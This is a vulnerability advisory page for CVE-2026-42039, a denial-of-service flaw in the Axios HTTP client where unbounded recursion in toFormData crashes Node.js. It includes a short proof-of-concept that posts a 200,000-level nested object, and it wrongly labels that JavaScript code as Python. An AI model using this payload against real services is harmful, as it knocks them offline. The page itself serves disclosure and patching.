CVE-2026-42039

Description

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError. This vulnerability is fixed in 1.15.1 and 0.31.1.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE

Axios < 1.15.1

Axios < 0.31.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const axios = require('axios');

// Function to generate a deeply nested object
function generateDeepObject(depth) {
    let obj = {};
    let current = obj;
    for (let i = 0; i < depth; i++) {
        current['data'] = {};
        current = current['data'];
    }
    return obj;
}

// Generate payload with depth sufficient to cause RangeError
const maliciousPayload = generateDeepObject(200000);

// Send the malicious request to the target
// This will crash the Node.js process in vulnerable versions
axios.post('http://localhost:3000/api/upload', maliciousPayload)
    .then(response => console.log('Request sent'))
    .catch(error => console.error('Request failed:', error.message));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42039
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42039
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42039/
[4] VulDB https://vuldb.com/cve/CVE-2026-42039
[5] https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9
[6] https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9

Raw JSON Data

JSON

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